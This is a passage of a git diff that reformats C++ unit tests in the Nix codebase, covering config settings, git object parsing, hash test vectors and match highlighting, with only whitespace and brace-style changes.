"name-of-the-setting", "description"}; - ASSERT_TRUE(config.set("name-of-the-setting", "value")); - - config.getSettings(settings, /* overriddenOnly = */ false); - const auto e = settings.find("name-of-the-setting"); - ASSERT_NE(e, settings.end()); - ASSERT_EQ(e->second.value, "value"); - ASSERT_EQ(e->second.description, "description\n"); - } - - TEST(Config, addSetting) { - class TestSetting : public AbstractSetting { - public: - TestSetting() : AbstractSetting("test", "test", {}) {} - void set(const std::string & value, bool append) override {} - std::string to_string() const override { return {}; } - bool isAppendable() override { return false; } - }; - - Config config; - TestSetting setting; - - ASSERT_FALSE(config.set("test", "value")); - config.addSetting(&setting); - ASSERT_TRUE(config.set("test", "value")); - ASSERT_FALSE(config.set("extra-test", "value")); - } - - TEST(Config, withInitialValue) { - const StringMap initials = { - { "key", "value" }, - }; - Config config(initials); - - { - std::map settings; - config.getSettings(settings, /* overriddenOnly = */ false); - ASSERT_EQ(settings.find("key"), settings.end()); - } - - Setting setting{&config, "default-value", "key", "description"}; - - { - std::map settings; - config.getSettings(settings, /* overriddenOnly = */ false); - ASSERT_EQ(settings["key"].value, "value"); - } - } - - TEST(Config, resetOverridden) { - Config config; config.resetOverridden(); + ASSERT_FALSE(setting.overridden); + config.getSettings(settings, /* overriddenOnly = */ true); + ASSERT_TRUE(settings.empty()); } +} - TEST(Config, resetOverriddenWithSetting) { - Config config; - Setting setting{&config, "", "name-of-the-setting", "description"}; +TEST(Config, toJSONOnEmptyConfig) +{ + ASSERT_EQ(Config().toJSON().dump(), "{}"); +} - { - std::map settings; +TEST(Config, toJSONOnNonEmptyConfig) +{ + using nlohmann::literals::operator"" _json; + Config config; + Setting setting{ + &config, + "", + "name-of-the-setting", + "description", + }; + setting.assign("value"); - setting.set("foo"); - ASSERT_EQ(setting.get(), "foo"); - config.getSettings(settings, /* overriddenOnly = */ true); - ASSERT_TRUE(settings.empty()); - } - - { - std::map settings; - - setting.override("bar"); - ASSERT_TRUE(setting.overridden); - ASSERT_EQ(setting.get(), "bar"); - config.getSettings(settings, /* overriddenOnly = */ true); - ASSERT_FALSE(settings.empty()); - } - - { - std::map settings; - - config.resetOverridden(); - ASSERT_FALSE(setting.overridden); - config.getSettings(settings, /* overriddenOnly = */ true); - ASSERT_TRUE(settings.empty()); - } - } - - TEST(Config, toJSONOnEmptyConfig) { - ASSERT_EQ(Config().toJSON().dump(), "{}"); - } - - TEST(Config, toJSONOnNonEmptyConfig) { - using nlohmann::literals::operator "" _json; - Config config; - Setting setting{ - &config, - "", - "name-of-the-setting", - "description", - }; - setting.assign("value"); - - ASSERT_EQ(config.toJSON(), - R"#({ + ASSERT_EQ( + config.toJSON(), + R"#({ "name-of-the-setting": { "aliases": [], "defaultValue": "", @@ -179,24 +202,26 @@ namespace nix { "experimentalFeature": null } })#"_json); - } +} - TEST(Config, toJSONOnNonEmptyConfigWithExperimentalSetting) { - using nlohmann::literals::operator "" _json; - Config config; - Setting setting{ - &config, - "", - "name-of-the-setting", - "description", - {}, - true, - Xp::Flakes, - }; - setting.assign("value"); +TEST(Config, toJSONOnNonEmptyConfigWithExperimentalSetting) +{ + using nlohmann::literals::operator"" _json; + Config config; + Setting setting{ + &config, + "", + "name-of-the-setting", + "description", + {}, + true, + Xp::Flakes, + }; + setting.assign("value"); - ASSERT_EQ(config.toJSON(), - R"#({ + ASSERT_EQ( + config.toJSON(), + R"#({ "name-of-the-setting": { "aliases": [], "defaultValue": "", @@ -206,90 +231,97 @@ namespace nix { "experimentalFeature": "flakes" } })#"_json); - } +} - TEST(Config, setSettingAlias) { - Config config; - Setting setting{&config, "", "some-int", "best number", { "another-int" }}; - ASSERT_TRUE(config.set("some-int", "1")); - ASSERT_EQ(setting.get(), "1"); - ASSERT_TRUE(config.set("another-int", "2")); - ASSERT_EQ(setting.get(), "2"); - ASSERT_TRUE(config.set("some-int", "3")); - ASSERT_EQ(setting.get(), "3"); - } +TEST(Config, setSettingAlias) +{ + Config config; + Setting setting{&config, "", "some-int", "best number", {"another-int"}}; + ASSERT_TRUE(config.set("some-int", "1")); + ASSERT_EQ(setting.get(), "1"); + ASSERT_TRUE(config.set("another-int", "2")); + ASSERT_EQ(setting.get(), "2"); + ASSERT_TRUE(config.set("some-int", "3")); + ASSERT_EQ(setting.get(), "3"); +} - /* FIXME: The reapplyUnknownSettings method doesn't seem to do anything - * useful (these days). Whenever we add a new setting to Config the - * unknown settings are always considered. In which case is this function - * actually useful? Is there some way to register a Setting without calling - * addSetting? */ - TEST(Config, DISABLED_reapplyUnknownSettings) { - Config config; - ASSERT_FALSE(config.set("name-of-the-setting", "unknownvalue")); - Setting setting{&config, "default", "name-of-the-setting", "description"}; - ASSERT_EQ(setting.get(), "default"); - config.reapplyUnknownSettings(); - ASSERT_EQ(setting.get(), "unknownvalue"); - } +/* FIXME: The reapplyUnknownSettings method doesn't seem to do anything + * useful (these days). Whenever we add a new setting to Config the + * unknown settings are always considered. In which case is this function + * actually useful? Is there some way to register a Setting without calling + * addSetting? */ +TEST(Config, DISABLED_reapplyUnknownSettings) +{ + Config config; + ASSERT_FALSE(config.set("name-of-the-setting", "unknownvalue")); + Setting setting{&config, "default", "name-of-the-setting", "description"}; + ASSERT_EQ(setting.get(), "default"); + config.reapplyUnknownSettings(); + ASSERT_EQ(setting.get(), "unknownvalue"); +} - TEST(Config, applyConfigEmpty) { - Config config; - std::map settings; - config.applyConfig(""); - config.getSettings(settings); - ASSERT_TRUE(settings.empty()); - } +TEST(Config, applyConfigEmpty) +{ + Config config; + std::map settings; + config.applyConfig(""); + config.getSettings(settings); + ASSERT_TRUE(settings.empty()); +} - TEST(Config, applyConfigEmptyWithComment) { - Config config; - std::map settings; - config.applyConfig("# just a comment"); - config.getSettings(settings); - ASSERT_TRUE(settings.empty()); - } +TEST(Config, applyConfigEmptyWithComment) +{ + Config config; + std::map settings; + config.applyConfig("# just a comment"); + config.getSettings(settings); + ASSERT_TRUE(settings.empty()); +} - TEST(Config, applyConfigAssignment) { - Config config; - std::map settings; - Setting setting{&config, "", "name-of-the-setting", "description"}; +TEST(Config, applyConfigAssignment) +{ + Config config; + std::map settings; + Setting setting{&config, "", "name-of-the-setting", "description"}; + config.applyConfig( + "name-of-the-setting = value-from-file #useful comment\n" + "# name-of-the-setting = foo\n"); + config.getSettings(settings); + ASSERT_FALSE(settings.empty()); + ASSERT_EQ(settings["name-of-the-setting"].value, "value-from-file"); +} + +TEST(Config, applyConfigWithReassignedSetting) +{ + Config config; + std::map settings; + Setting setting{&config, "", "name-of-the-setting", "description"}; + config.applyConfig( + "name-of-the-setting = first-value\n" + "name-of-the-setting = second-value\n"); + config.getSettings(settings); + ASSERT_FALSE(settings.empty()); + ASSERT_EQ(settings["name-of-the-setting"].value, "second-value"); +} + +TEST(Config, applyConfigFailsOnMissingIncludes) +{ + Config config; + std::map settings; + Setting setting{&config, "", "name-of-the-setting", "description"}; + + ASSERT_THROW( config.applyConfig( - "name-of-the-setting = value-from-file #useful comment\n" - "# name-of-the-setting = foo\n" - ); - config.getSettings(settings); - ASSERT_FALSE(settings.empty()); - ASSERT_EQ(settings["name-of-the-setting"].value, "value-from-file"); - } - - TEST(Config, applyConfigWithReassignedSetting) { - Config config; - std::map settings; - Setting setting{&config, "", "name-of-the-setting", "description"}; - config.applyConfig( - "name-of-the-setting = first-value\n" - "name-of-the-setting = second-value\n" - ); - config.getSettings(settings); - ASSERT_FALSE(settings.empty()); - ASSERT_EQ(settings["name-of-the-setting"].value, "second-value"); - } - - TEST(Config, applyConfigFailsOnMissingIncludes) { - Config config; - std::map settings; - Setting setting{&config, "", "name-of-the-setting", "description"}; - - ASSERT_THROW(config.applyConfig( "name-of-the-setting = value-from-file\n" "# name-of-the-setting = foo\n" - "include /nix/store/does/not/exist.nix" - ), Error); - } - - TEST(Config, applyConfigInvalidThrows) { - Config config; - ASSERT_THROW(config.applyConfig("value == key"), UsageError); - ASSERT_THROW(config.applyConfig("value "), UsageError); - } + "include /nix/store/does/not/exist.nix"), + Error); +} + +TEST(Config, applyConfigInvalidThrows) +{ + Config config; + ASSERT_THROW(config.applyConfig("value == key"), UsageError); + ASSERT_THROW(config.applyConfig("value "), UsageError); +} } diff --git a/src/libutil-tests/file-content-address.cc b/src/libutil-tests/file-content-address.cc index 5cdf94edc..ce21fda59 100644 --- a/src/libutil-tests/file-content-address.cc +++ b/src/libutil-tests/file-content-address.cc @@ -8,25 +8,28 @@ namespace nix { * parseFileSerialisationMethod, renderFileSerialisationMethod * --------------------------------------------------------------------------*/ -TEST(FileSerialisationMethod, testRoundTripPrintParse_1) { +TEST(FileSerialisationMethod, testRoundTripPrintParse_1) +{ for (const FileSerialisationMethod fim : { - FileSerialisationMethod::Flat, - FileSerialisationMethod::NixArchive, - }) { + FileSerialisationMethod::Flat, + FileSerialisationMethod::NixArchive, + }) { EXPECT_EQ(parseFileSerialisationMethod(renderFileSerialisationMethod(fim)), fim); } } -TEST(FileSerialisationMethod, testRoundTripPrintParse_2) { +TEST(FileSerialisationMethod, testRoundTripPrintParse_2) +{ for (const std::string_view fimS : { - "flat", - "nar", - }) { + "flat", + "nar", + }) { EXPECT_EQ(renderFileSerialisationMethod(parseFileSerialisationMethod(fimS)), fimS); } } -TEST(FileSerialisationMethod, testParseFileSerialisationMethodOptException) { +TEST(FileSerialisationMethod, testParseFileSerialisationMethodOptException) +{ EXPECT_THROW(parseFileSerialisationMethod("narwhal"), UsageError); } @@ -34,27 +37,30 @@ TEST(FileSerialisationMethod, testParseFileSerialisationMethodOptException) { * parseFileIngestionMethod, renderFileIngestionMethod * --------------------------------------------------------------------------*/ -TEST(FileIngestionMethod, testRoundTripPrintParse_1) { +TEST(FileIngestionMethod, testRoundTripPrintParse_1) +{ for (const FileIngestionMethod fim : { - FileIngestionMethod::Flat, - FileIngestionMethod::NixArchive, - FileIngestionMethod::Git, - }) { + FileIngestionMethod::Flat, + FileIngestionMethod::NixArchive, + FileIngestionMethod::Git, + }) { EXPECT_EQ(parseFileIngestionMethod(renderFileIngestionMethod(fim)), fim); } } -TEST(FileIngestionMethod, testRoundTripPrintParse_2) { +TEST(FileIngestionMethod, testRoundTripPrintParse_2) +{ for (const std::string_view fimS : { - "flat", - "nar", - "git", - }) { + "flat", + "nar", + "git", + }) { EXPECT_EQ(renderFileIngestionMethod(parseFileIngestionMethod(fimS)), fimS); } } -TEST(FileIngestionMethod, testParseFileIngestionMethodOptException) { +TEST(FileIngestionMethod, testParseFileIngestionMethodOptException) +{ EXPECT_THROW(parseFileIngestionMethod("narwhal"), UsageError); } diff --git a/src/libutil-tests/git.cc b/src/libutil-tests/git.cc index 91432b76b..c31be3431 100644 --- a/src/libutil-tests/git.cc +++ b/src/libutil-tests/git.cc @@ -15,7 +15,8 @@ class GitTest : public CharacterizationTest public: - std::filesystem::path goldenMaster(std::string_view testStem) const override { + std::filesystem::path goldenMaster(std::string_view testStem) const override + { return unitTestData / std::string(testStem); } @@ -33,39 +34,44 @@ private: } }; -TEST(GitMode, gitMode_directory) { +TEST(GitMode, gitMode_directory) +{ Mode m = Mode::Directory; RawMode r = 0040000; ASSERT_EQ(static_cast(m), r); - ASSERT_EQ(decodeMode(r), std::optional { m }); + ASSERT_EQ(decodeMode(r), std::optional{m}); }; -TEST(GitMode, gitMode_executable) { +TEST(GitMode, gitMode_executable) +{ Mode m = Mode::Executable; RawMode r = 0100755; ASSERT_EQ(static_cast(m), r); - ASSERT_EQ(decodeMode(r), std::optional { m }); + ASSERT_EQ(decodeMode(r), std::optional{m}); }; -TEST(GitMode, gitMode_regular) { +TEST(GitMode, gitMode_regular) +{ Mode m = Mode::Regular; RawMode r = 0100644; ASSERT_EQ(static_cast(m), r); - ASSERT_EQ(decodeMode(r), std::optional { m }); + ASSERT_EQ(decodeMode(r), std::optional{m}); }; -TEST(GitMode, gitMode_symlink) { +TEST(GitMode, gitMode_symlink) +{ Mode m = Mode::Symlink; RawMode r = 0120000; ASSERT_EQ(static_cast(m), r); - ASSERT_EQ(decodeMode(r), std::optional { m }); + ASSERT_EQ(decodeMode(r), std::optional{m}); }; -TEST_F(GitTest, blob_read) { +TEST_F(GitTest, blob_read) +{ readTest("hello-world-blob.bin", [&](const auto & encoded) { - StringSource in { encoded }; + StringSource in{encoded}; StringSink out; - RegularFileSink out2 { out }; + RegularFileSink out2{out}; ASSERT_EQ(parseObjectType(in, mockXpSettings), ObjectType::Blob); parseBlob(out2, CanonPath::root, in, BlobMode::Regular, mockXpSettings); @@ -75,7 +81,8 @@ TEST_F(GitTest, blob_read) { }); } -TEST_F(GitTest, blob_write) { +TEST_F(GitTest, blob_write) +{ writeTest("hello-world-blob.bin", [&]() { auto decoded = readFile(goldenMaster("hello-world.bin")); StringSink s; @@ -126,24 +133,31 @@ const static Tree tree = { }, }; -TEST_F(GitTest, tree_read) { +TEST_F(GitTest, tree_read) +{ readTest("tree.bin", [&](const auto & encoded) { - StringSource in { encoded }; + StringSource in{encoded}; NullFileSystemObjectSink out; Tree got; ASSERT_EQ(parseObjectType(in, mockXpSettings), ObjectType::Tree); - parseTree(out, CanonPath::root, in, [&](auto & name, auto entry) { - auto name2 = std::string{name.rel()}; - if (entry.mode == Mode::Directory) - name2 += '/'; - got.insert_or_assign(name2, std::move(entry)); - }, mockXpSettings); + parseTree( + out, + CanonPath::root, + in, + [&](auto & name, auto entry) { + auto name2 = std::string{name.rel()}; + if (entry.mode == Mode::Directory) + name2 += '/'; + got.insert_or_assign(name2, std::move(entry)); + }, + mockXpSettings); ASSERT_EQ(got, tree); }); } -TEST_F(GitTest, tree_write) { +TEST_F(GitTest, tree_write) +{ writeTest("tree.bin", [&]() { StringSink s; dumpTree(tree, s, mockXpSettings); @@ -151,36 +165,38 @@ TEST_F(GitTest, tree_write) { }); } -TEST_F(GitTest, both_roundrip) { +TEST_F(GitTest, both_roundrip) +{ using File = MemorySourceAccessor::File; auto files = make_ref(); - files->root = File::Directory { - .contents { + files->root = File::Directory{ + .contents{ { "foo", - File::Regular { + File::Regular{ .contents = "hello\n\0\n\tworld!", }, }, { "bar", - File::Directory { - .contents = { + File::Directory{ + .contents = { - "baz", - File::Regular { - .executable = true, - .contents = "good day,\n\0\n\tworld!", + { + "baz", + File::Regular{ + .executable = true, + .contents = "good day,\n\0\n\tworld!", + }, + }, + { + "quux", + File::Symlink{ + .target = "/over/there", + }, }, }, - { - "quux", - File::Symlink { - .target = "/over/there", - }, - }, - }, }, }, }, @@ -191,14 +207,12 @@ TEST_F(GitTest, both_roundrip) { std::function dumpHook; dumpHook = [&](const SourcePath & path) { StringSink s; - HashSink hashSink { HashAlgorithm::SHA1 }; - TeeSink s2 { s, hashSink }; - auto mode = dump( - path, s2, dumpHook, - defaultPathFilter, mockXpSettings); + HashSink hashSink{HashAlgorithm::SHA1}; + TeeSink s2{s, hashSink}; + auto mode = dump(path, s2, dumpHook, defaultPathFilter, mockXpSettings); auto hash = hashSink.finish().first; cas.insert_or_assign(hash, std::move(s.s)); - return TreeEntry { + return TreeEntry{ .mode = mode, .hash = hash, }; @@ -208,13 +222,16 @@ TEST_F(GitTest, both_roundrip) { auto files2 = make_ref(); - MemorySink sinkFiles2 { *files2 }; + MemorySink sinkFiles2{*files2}; std::function mkSinkHook; mkSinkHook = [&](auto prefix, auto & hash, auto blobMode) { - StringSource in { cas[hash] }; + StringSource in{cas[hash]}; parse( - sinkFiles2, prefix, in, blobMode, + sinkFiles2, + prefix, + in, + blobMode, [&](const CanonPath & name, const auto & entry) { mkSinkHook( prefix / name, @@ -232,7 +249,8 @@ TEST_F(GitTest, both_roundrip) { ASSERT_EQ(files->root, files2->root); } -TEST(GitLsRemote, parseSymrefLineWithReference) { +TEST(GitLsRemote, parseSymrefLineWithReference) +{ auto line = "ref: refs/head/main HEAD"; auto res = parseLsRemoteLine(line); ASSERT_TRUE(res.has_value()); @@ -241,7 +259,8 @@ TEST(GitLsRemote, parseSymrefLineWithReference) { ASSERT_EQ(res->reference, "HEAD"); } -TEST(GitLsRemote, parseSymrefLineWithNoReference) { +TEST(GitLsRemote, parseSymrefLineWithNoReference) +{ auto line = "ref: refs/head/main"; auto res = parseLsRemoteLine(line); ASSERT_TRUE(res.has_value()); @@ -250,7 +269,8 @@ TEST(GitLsRemote, parseSymrefLineWithNoReference) { ASSERT_EQ(res->reference, std::nullopt); } -TEST(GitLsRemote, parseObjectRefLine) { +TEST(GitLsRemote, parseObjectRefLine) +{ auto line = "abc123 refs/head/main"; auto res = parseLsRemoteLine(line); ASSERT_TRUE(res.has_value()); diff --git a/src/libutil-tests/hash.cc b/src/libutil-tests/hash.cc index 3c71b0486..7ef4dac61 100644 --- a/src/libutil-tests/hash.cc +++ b/src/libutil-tests/hash.cc @@ -24,111 +24,132 @@ private: } }; - /* ---------------------------------------------------------------------------- - * hashString - * --------------------------------------------------------------------------*/ +/* ---------------------------------------------------------------------------- + * hashString + * --------------------------------------------------------------------------*/ - TEST_F(BLAKE3HashTest, testKnownBLAKE3Hashes1) { - // values taken from: https://tools.ietf.org/html/rfc4634 - auto s = "abc"; - auto hash = hashString(HashAlgorithm::BLAKE3, s, mockXpSettings); - ASSERT_EQ(hash.to_string(HashFormat::Base16, true), - "blake3:6437b3ac38465133ffb63b75273a8db548c558465d79db03fd359c6cd5bd9d85"); - } +TEST_F(BLAKE3HashTest, testKnownBLAKE3Hashes1) +{ + // values taken from: https://tools.ietf.org/html/rfc4634 + auto s = "abc"; + auto hash = hashString(HashAlgorithm::BLAKE3, s, mockXpSettings); + ASSERT_EQ( + hash.to_string(HashFormat::Base16, true), + "blake3:6437b3ac38465133ffb63b75273a8db548c558465d79db03fd359c6cd5bd9d85"); +} - TEST_F(BLAKE3HashTest, testKnownBLAKE3Hashes2) { - // values taken from: https://tools.ietf.org/html/rfc4634 - auto s = "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq"; - auto hash = hashString(HashAlgorithm::BLAKE3, s, mockXpSettings); - ASSERT_EQ(hash.to_string(HashFormat::Base16, true), - "blake3:c19012cc2aaf0dc3d8e5c45a1b79114d2df42abb2a410bf54be09e891af06ff8"); - } +TEST_F(BLAKE3HashTest, testKnownBLAKE3Hashes2) +{ + // values taken from: https://tools.ietf.org/html/rfc4634 + auto s = "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq"; + auto hash = hashString(HashAlgorithm::BLAKE3, s, mockXpSettings); + ASSERT_EQ( + hash.to_string(HashFormat::Base16, true), + "blake3:c19012cc2aaf0dc3d8e5c45a1b79114d2df42abb2a410bf54be09e891af06ff8"); +} - TEST_F(BLAKE3HashTest, testKnownBLAKE3Hashes3) { - // values taken from: https://www.ietf.org/archive/id/draft-aumasson-blake3-00.txt - auto s = "IETF"; - auto hash = hashString(HashAlgorithm::BLAKE3, s, mockXpSettings); - ASSERT_EQ(hash.to_string(HashFormat::Base16, true), - "blake3:83a2de1ee6f4e6ab686889248f4ec0cf4cc5709446a682ffd1cbb4d6165181e2"); - } +TEST_F(BLAKE3HashTest, testKnownBLAKE3Hashes3) +{ + // values taken from: https://www.ietf.org/archive/id/draft-aumasson-blake3-00.txt + auto s = "IETF"; + auto hash = hashString(HashAlgorithm::BLAKE3, s, mockXpSettings); + ASSERT_EQ( + hash.to_string(HashFormat::Base16, true), + "blake3:83a2de1ee6f4e6ab686889248f4ec0cf4cc5709446a682ffd1cbb4d6165181e2"); +} - TEST(hashString, testKnownMD5Hashes1) { - // values taken from: https://tools.ietf.org/html/rfc1321 - auto s1 = ""; - auto hash = hashString(HashAlgorithm::MD5, s1); - ASSERT_EQ(hash.to_string(HashFormat::Base16, true), "md5:d41d8cd98f00b204e9800998ecf8427e"); - } +TEST(hashString, testKnownMD5Hashes1) +{ + // values taken from: https://tools.ietf.org/html/rfc1321 + auto s1 = ""; + auto hash = hashString(HashAlgorithm::MD5, s1); + ASSERT_EQ(hash.to_string(HashFormat::Base16, true), "md5:d41d8cd98f00b204e9800998ecf8427e"); +} - TEST(hashString, testKnownMD5Hashes2) { - // values taken from: https://tools.ietf.org/html/rfc1321 - auto s2 = "abc"; - auto hash = hashString(HashAlgorithm::MD5, s2); - ASSERT_EQ(hash.to_string(HashFormat::Base16, true), "md5:900150983cd24fb0d6963f7d28e17f72"); - } +TEST(hashString, testKnownMD5Hashes2) +{ + // values taken from: https://tools.ietf.org/html/rfc1321 + auto s2 = "abc"; + auto hash = hashString(HashAlgorithm::MD5, s2); + ASSERT_EQ(hash.to_string(HashFormat::Base16, true), "md5:900150983cd24fb0d6963f7d28e17f72"); +} - TEST(hashString, testKnownSHA1Hashes1) { - // values taken from: https://tools.ietf.org/html/rfc3174 - auto s = "abc"; - auto hash = hashString(HashAlgorithm::SHA1, s); - ASSERT_EQ(hash.to_string(HashFormat::Base16, true),"sha1:a9993e364706816aba3e25717850c26c9cd0d89d"); - } +TEST(hashString, testKnownSHA1Hashes1) +{ + // values taken from: https://tools.ietf.org/html/rfc3174 + auto s = "abc"; + auto hash = hashString(HashAlgorithm::SHA1, s); + ASSERT_EQ(hash.to_string(HashFormat::Base16, true), "sha1:a9993e364706816aba3e25717850c26c9cd0d89d"); +} - TEST(hashString, testKnownSHA1Hashes2) { - // values taken from: https://tools.ietf.org/html/rfc3174 - auto s = "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq"; - auto hash = hashString(HashAlgorithm::SHA1, s); - ASSERT_EQ(hash.to_string(HashFormat::Base16, true),"sha1:84983e441c3bd26ebaae4aa1f95129e5e54670f1"); - } +TEST(hashString, testKnownSHA1Hashes2) +{ + // values taken from: https://tools.ietf.org/html/rfc3174 + auto s = "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq"; + auto hash = hashString(HashAlgorithm::SHA1, s); + ASSERT_EQ(hash.to_string(HashFormat::Base16, true), "sha1:84983e441c3bd26ebaae4aa1f95129e5e54670f1"); +} - TEST(hashString, testKnownSHA256Hashes1) { - // values taken from: https://tools.ietf.org/html/rfc4634 - auto s = "abc"; +TEST(hashString, testKnownSHA256Hashes1) +{ + // values taken from: https://tools.ietf.org/html/rfc4634 + auto s = "abc"; - auto hash = hashString(HashAlgorithm::SHA256, s); - ASSERT_EQ(hash.to_string(HashFormat::Base16, true), - "sha256:ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad"); - } + auto hash = hashString(HashAlgorithm::SHA256, s); + ASSERT_EQ( + hash.to_string(HashFormat::Base16, true), + "sha256:ba7816bf8f01cfea414140de5dae2223b00361a396177a9cb410ff61f20015ad"); +} - TEST(hashString, testKnownSHA256Hashes2) { - // values taken from: https://tools.ietf.org/html/rfc4634 - auto s = "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq"; - auto hash = hashString(HashAlgorithm::SHA256, s); - ASSERT_EQ(hash.to_string(HashFormat::Base16, true), - "sha256:248d6a61d20638b8e5c026930c3e6039a33ce45964ff2167f6ecedd419db06c1"); - } +TEST(hashString, testKnownSHA256Hashes2) +{ + // values taken from: https://tools.ietf.org/html/rfc4634 + auto s = "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq"; + auto hash = hashString(HashAlgorithm::SHA256, s); + ASSERT_EQ( + hash.to_string(HashFormat::Base16, true), + "sha256:248d6a61d20638b8e5c026930c3e6039a33ce45964ff2167f6ecedd419db06c1"); +} - TEST(hashString, testKnownSHA512Hashes1) { - // values taken from: https://tools.ietf.org/html/rfc4634 - auto s = "abc"; - auto hash = hashString(HashAlgorithm::SHA512, s); - ASSERT_EQ(hash.to_string(HashFormat::Base16, true), - "sha512:ddaf35a193617abacc417349ae20413112e6fa4e89a9" - "7ea20a9eeee64b55d39a2192992a274fc1a836ba3c23a3feebbd" - "454d4423643ce80e2a9ac94fa54ca49f"); - } - TEST(hashString, testKnownSHA512Hashes2) { - // values taken from: https://tools.ietf.org/html/rfc4634 - auto s = "abcdefghbcdefghicdefghijdefghijkefghijklfghijklmghijklmnhijklmnoijklmnopjklmnopqklmnopqrlmnopqrsmnopqrstnopqrstu"; +TEST(hashString, testKnownSHA512Hashes1) +{ + // values taken from: https://tools.ietf.org/html/rfc4634 + auto s = "abc"; + auto hash = hashString(HashAlgorithm::SHA512, s); + ASSERT_EQ( + hash.to_string(HashFormat::Base16, true), + "sha512:ddaf35a193617abacc417349ae20413112e6fa4e89a9" + "7ea20a9eeee64b55d39a2192992a274fc1a836ba3c23a3feebbd" + "454d4423643ce80e2a9ac94fa54ca49f"); +} +TEST(hashString, testKnownSHA512Hashes2) +{ + // values taken from: https://tools.ietf.org/html/rfc4634 + auto s = + "abcdefghbcdefghicdefghijdefghijkefghijklfghijklmghijklmnhijklmnoijklmnopjklmnopqklmnopqrlmnopqrsmnopqrstnopqrstu"; - auto hash = hashString(HashAlgorithm::SHA512, s); - ASSERT_EQ(hash.to_string(HashFormat::Base16, true), - "sha512:8e959b75dae313da8cf4f72814fc143f8f7779c6eb9f7fa1" - "7299aeadb6889018501d289e4900f7e4331b99dec4b5433a" - "c7d329eeb6dd26545e96e55b874be909"); - } + auto hash = hashString(HashAlgorithm::SHA512, s); + ASSERT_EQ( + hash.to_string(HashFormat::Base16, true), + "sha512:8e959b75dae313da8cf4f72814fc143f8f7779c6eb9f7fa1" + "7299aeadb6889018501d289e4900f7e4331b99dec4b5433a" + "c7d329eeb6dd26545e96e55b874be909"); +} - /* ---------------------------------------------------------------------------- - * parseHashFormat, parseHashFormatOpt, printHashFormat - * --------------------------------------------------------------------------*/ +/* ---------------------------------------------------------------------------- + * parseHashFormat, parseHashFormatOpt, printHashFormat + * --------------------------------------------------------------------------*/ - TEST(hashFormat, testRoundTripPrintParse) { - for (const HashFormat hashFormat: { HashFormat::Base64, HashFormat::Nix32, HashFormat::Base16, HashFormat::SRI}) { - ASSERT_EQ(parseHashFormat(printHashFormat(hashFormat)), hashFormat); - ASSERT_EQ(*parseHashFormatOpt(printHashFormat(hashFormat)), hashFormat); - } - } - - TEST(hashFormat, testParseHashFormatOptException) { - ASSERT_EQ(parseHashFormatOpt("sha0042"), std::nullopt); +TEST(hashFormat, testRoundTripPrintParse) +{ + for (const HashFormat hashFormat : {HashFormat::Base64, HashFormat::Nix32, HashFormat::Base16, HashFormat::SRI}) { + ASSERT_EQ(parseHashFormat(printHashFormat(hashFormat)), hashFormat); + ASSERT_EQ(*parseHashFormatOpt(printHashFormat(hashFormat)), hashFormat); } } + +TEST(hashFormat, testParseHashFormatOptException) +{ + ASSERT_EQ(parseHashFormatOpt("sha0042"), std::nullopt); +} +} diff --git a/src/libutil-tests/hilite.cc b/src/libutil-tests/hilite.cc index 98773afcf..e1fec0fb8 100644 --- a/src/libutil-tests/hilite.cc +++ b/src/libutil-tests/hilite.cc @@ -5,61 +5,57 @@ namespace nix { /* ----------- tests for fmt.hh -------------------------------------------------*/ - TEST(hiliteMatches, noHighlight) { - ASSERT_STREQ(hiliteMatches("Hello, world!", std::vector(), "(", ")").c_str(), "Hello, world!"); - } - - TEST(hiliteMatches, simpleHighlight) { - std::string str = "Hello, world!"; - std::regex re = std::regex("world"); - auto matches = std::vector(std::sregex_iterator(str.begin(), str.end(), re), std::sregex_iterator()); - ASSERT_STREQ( - hiliteMatches(str, matches, "(", ")").c_str(), - "Hello, (world)!" - ); - } - - TEST(hiliteMatches, multipleMatches) { - std::string str = "Hello, world, world, world, world, world, world, Hello!"; - std::regex re = std::regex("world"); - auto matches = std::vector(std::sregex_iterator(str.begin(), str.end(), re), std::sregex_iterator()); - ASSERT_STREQ( - hiliteMatches(str, matches, "(", ")").c_str(), - "Hello, (world), (world), (world), (world), (world), (world), Hello!" - ); - } - - TEST(hiliteMatches, overlappingMatches) { - std::string str = "world, Hello, world, Hello, world, Hello, world, Hello, world!"; - std::regex re = std::regex("Hello, world"); - std::regex re2 = std::regex("world, Hello"); - auto v = std::vector(std::sregex_iterator(str.begin(), str.end(), re), std::sregex_iterator()); - for(auto it = std::sregex_iterator(str.begin(), str.end(), re2); it != std::sregex_iterator(); ++it) { - v.push_back(*it); - } - ASSERT_STREQ( - hiliteMatches(str, v, "(", ")").c_str(), - "(world, Hello, world, Hello, world, Hello, world, Hello, world)!" - ); - } - - TEST(hiliteMatches, complexOverlappingMatches) { - std::string str = "legacyPackages.x86_64-linux.git-crypt"; - std::vector regexes = { - std::regex("t-cry"), - std::regex("ux\\.git-cry"), - std::regex("git-c"), - std::regex("pt"), - }; - std::vector matches; - for (const auto & regex : regexes) { - for(auto it = std::sregex_iterator(str.begin(), str.end(), regex); it != std::sregex_iterator(); ++it) { - matches.push_back(*it); - } - } - ASSERT_STREQ( - hiliteMatches(str, matches, "(", ")").c_str(), - "legacyPackages.x86_64-lin(ux.git-crypt)" - ); - } +TEST(hiliteMatches, noHighlight) +{ + ASSERT_STREQ(hiliteMatches("Hello, world!", std::vector(), "(", ")").c_str(), "Hello, world!"); +} + +TEST(hiliteMatches, simpleHighlight) +{ + std::string str = "Hello, world!"; + std::regex re = std::regex("world"); + auto matches = std::vector(std::sregex_iterator(str.begin(), str.end(), re), std::sregex_iterator()); + ASSERT_STREQ(hiliteMatches(str, matches, "(", ")").c_str(), "Hello, (world)!"); +} + +TEST(hiliteMatches, multipleMatches) +{ + std::string str = "Hello, world, world, world, world, world, world, Hello!"; + std::regex re = std::regex("world"); + auto matches = std::vector(std::sregex_iterator(str.begin(), str.end(), re), std::sregex_iterator()); + ASSERT_STREQ( + hiliteMatches(str, matches, "(", ")").c_str(), + "Hello, (world), (world), (world), (world), (world), (world), Hello!"); +} + +TEST(hiliteMatches, overlappingMatches) +{ + std::string str = "world, Hello, world, Hello, world, Hello, world, Hello, world!"; + std::regex re = std::regex("Hello, world"); + std::regex re2 = 